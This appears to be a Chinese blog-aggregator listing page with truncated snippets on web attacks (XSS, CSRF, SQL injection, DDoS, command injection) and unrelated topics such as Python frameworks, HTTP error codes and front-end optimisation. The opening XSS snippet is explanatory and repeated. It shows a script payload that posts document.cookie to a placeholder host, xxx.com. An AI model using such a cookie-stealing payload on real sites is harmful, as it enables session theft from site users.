XSS全称：Cross Site Scripting中文名：跨站脚本原理：利用网站漏洞和用户对该网站的信任，植入恶意javascript脚本，让用户访问的时候出现不被预期、恶意的操作。例：1.用户A在某论坛评论区评论， 并植入恶意代码。你是个好人。 <script> alert(1); ajaxPost("http://xxx.com/saveCookie", document.co
转载
2021-01-16 19:13:55
53阅读
2评论
XSS 全称：Cross Site Scripting 中文名：跨站脚本 原理：利用网站漏洞和用户对该网站的信任，植入恶意javascript脚本，让用户访问的时候出现不被预期、恶意的操作。 例： 1.用户A在某论坛评论区评论， 并植入恶意代码。 你是个好人。 <script> alert(1); ...
转载
2021-01-13 16:17:00
54阅读
Web开发流程需求分析：明确项目目标和功能需求。设计架构：选择技术栈，设计数据库和API。前端开
文章目录一、sql注入1.是什么：2.原理：3.防御：二、CSRF攻击【跨站请求
原创
2021-11-19 16:23:44
87阅读
目录CSRF简介CSRF原理CSRF攻击实例防御措施总结CSRF简介CSRF是跨站请求伪造（Cross-site request forgery）的缩写，和《三十六计》中的“借刀杀人”一样，只不过是攻击者借了受害...
转载
2020-01-03 14:52:00
407阅读
2评论
文章目录一、sql注入1.是什么：2.原理：3.防御：二、CSRF攻击【跨站请求伪造】1.是什么：2.危害：3.原理：4.防御：三、XSS攻击【跨站脚本攻击】1.是什么：2.危害：3.防御：四、DDOS攻击【分布式拒绝服务攻击】1.是什么：2.被攻击的原因：3.防御：
原创
2022-01-07 17:40:58
24阅读
漏洞介绍所谓SQL注入(SQLInjection),就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终
一、SQL注入 1. sql注入的危害 非法读取、篡改、删除数据库中的数据 盗取用户的各类敏感信息，获取利益 通过修改数据库来修改网页上的内容 注入木马等 2. 实例 3. 防范 二、xss攻击 1.xss跨站脚本攻击(Cross Site Scripting)的危害 盗取各类用户的账号，如用户网银
原创
2021-07-21 15:11:54
122阅读
1、分层模式2、客户端-服务端模式3、主从设备模式4、管道-过滤器模式5、代理模式6、点对点模式7、时间总线模式8、mvc模式9、黑板模式10、解释器模式分析：1、分层 应用：桌面应用，电商web应用 常见4层，ui，服务层（应用层），逻辑层，持久层（数据层）2、客户端-服务器 应用：邮件，文件共享，在线应用
转载
2024-01-24 15:34:37
44阅读
jsp作为Servlet技术的扩展，经常会有人将jsp和Servlet搞混。本文，将为大家带来servlet和jsp的区别，希望对大家有所帮助。servlet和jsp的区别1、Servlet在Java代码中可以通过HttpServletResponse对象动态输出HTML内容。2、JSP是在静态HTML内容中嵌入Java代码，然后Java代码在被动态执行后生成HTML内容。servlet和jsp各
转载
2024-07-18 13:22:39
45阅读
前言：关于优化问题，随着项目经验不断累积，多方查找资料进行拼接合并，形成如下文章，之后遇到类似好的方法，会不断补充完善。
前端是庞大的，包括 HTML、 CSS、 Javascript、Image 、Flash等等各种各样的资源。前端优化是复杂的，针对方方面面的资源都有不同的方式。那么，前端优化的目的是什么 ?
原创
2021-07-19 16:52:13
584阅读
最近常碰见有人说站被入侵了之类的，昨晚睡不着觉，就萌发了写篇关于WEB入侵及防范的文章的念头。好了，废话不说了，咱们进入正题吧！入侵，其实都是这样一个思路，寻找漏洞，然后利用漏洞。目前最常见的WEB入侵主要有：注入、弱后台、跨站、社工。比较深入的有源码拿站，十六进制拿站等等，由于本人水平有限，这些不在本文章中进行讨论。一、注入所谓注入，就是是从正常的WWW端口访问，而且表面看起来跟一般的Web页面
推荐
原创
2010-10-29 16:22:47
954阅读
点赞
6评论
（1）ApacheApache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上。Apache源于NCSAhttpd服务器，经过多次修改，成为世界上最流行的Web服务器软件之一。Apache取自"apatchyserver"的读音，意思是充满补丁的服务器，因为它是自由软件，所以不断有人来为它开发新的功能、新的特性、修改原来的缺陷。Apache的特点
转载
2018-05-25 13:52:38
754阅读
1. Django Django应该是Python最知名、最有代表性的Web框架了。它的名字来自于Django Reinhardt，一位法国作曲家和吉他演奏家。在2000年初有一个报社的两位程序员为了给报社的报纸开发线上应用，开始用 Python编写网站，最后把他们的工作总结出一套开源框架，就是今天 ...
转载
2021-08-15 17:37:00
431阅读
2评论
在今天，Python里有很多开发框架用来帮助你轻松创建web应用。web开发框架存在的意义就在于可以快速便捷的构建应用，而不用去在意那些没必要的技术细节(协议、报文、数据结构)。 到2020年为止，基于Python创建的的web应用已经非常多了，国外知名的有youtube.com、instagram
转载
2020-09-26 15:30:00
195阅读
点赞
2评论
HTTP 错误 400 400 请求出错 由于语法格式有误，服务器无法理解此请求。不作修改，客户程序就无法重复此请求。 HTTP 错误 401 401.1 未授权：登录失败 此错误表明传输给服务器的证书与登录服务器所需的证书不匹配。 请与 Web 服务器的管理员联系，
转载
精选
2016-05-10 22:06:53
396阅读
目录命令注入简介命令注入原理漏洞利用漏洞防范 总结命令注入简介命令注入漏洞和SQL注入、XSS漏洞很相似，也是由于开发人员考虑不周造成的，在使用web应用程序执行系统命令的时候对用户输入的字符未进行过滤或过滤不严...
转载
2019-09-29 16:54:00
769阅读
2评论
1.XSS XSS，Cross Site Script，跨站脚本攻击。原理是攻击者通过某种方式在网页上嵌入脚本代码，这样，正当用户在浏览网页或执行操作的时候，脚本被执行，就会触发攻击者预期的“不正当”行为。攻击者在服务器返回的普通页面中嵌入特殊的脚本代码，那么在普通用户浏览这个网页的时候，这个特殊的 ...
转载
2021-07-23 17:44:00
42阅读
By: http://blog.csdn.net/u013777676/article/details/52124298一、SQL注入漏洞 SQL注入攻击（SQL Injection），简称注入攻击、SQL注入，被广泛用于非法获取网站控制权，是发生在应用程序的数据库层上的安全漏洞。在设计程序，忽略了对输入字符串中夹带的SQL指令的检查，被数据库误认为是正常的SQL指令而运行，从
转载
2017-11-27 17:35:43
712阅读
